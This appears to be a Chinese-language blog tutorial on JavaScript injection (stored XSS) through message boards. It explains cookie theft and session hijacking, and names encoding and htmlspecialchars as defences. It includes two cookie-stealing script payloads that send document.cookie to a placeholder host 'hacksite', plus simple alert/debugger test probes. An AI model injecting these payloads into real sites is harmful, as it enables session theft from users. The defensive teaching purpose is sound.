javascript可以作为黑客攻击网站的一种工具,其中注入js恶意脚本就是其中一种手段,那么下面我们来学习一下如何预防js的攻击。在学习阻止js攻击之前,我们先来了解一下什么是js代码攻击
Javascript注入攻击指的是通过网页地址后加javascript代码,影响系统运作,javascript注入漏洞能发生作用主要依赖两个关键的动作:一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。举个例子:注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险 本文章只是简单的介绍了js代码攻击有兴趣的小伙伴可以去这个链接看看常见的js攻击
那么下面我们来具体看一下 输入框如何防止js代码防止攻击
很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:
当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。
恶意攻击者可以在消息框中加入一下javascript代码,就会造成form表单的混乱
为了更好的避免上述情况的发生,防范的方法不外乎:
一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据
方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。
方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。
漏洞被用于攻击时注入内容:
jQuery场景:
<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>
原生JS场景:
<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>
测试漏洞时注入内容:
<script>alert(0)</script>
<script>debugger</script>
--辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。
另外还有:比较简单的方法是 : 在获取的变量前加上htmlspecialchars eg :htmlspecialchars +变量;
以上就是我跟大家分享的一些东西,谢谢
这位仁兄方法也很独特,大家有兴趣可以去看看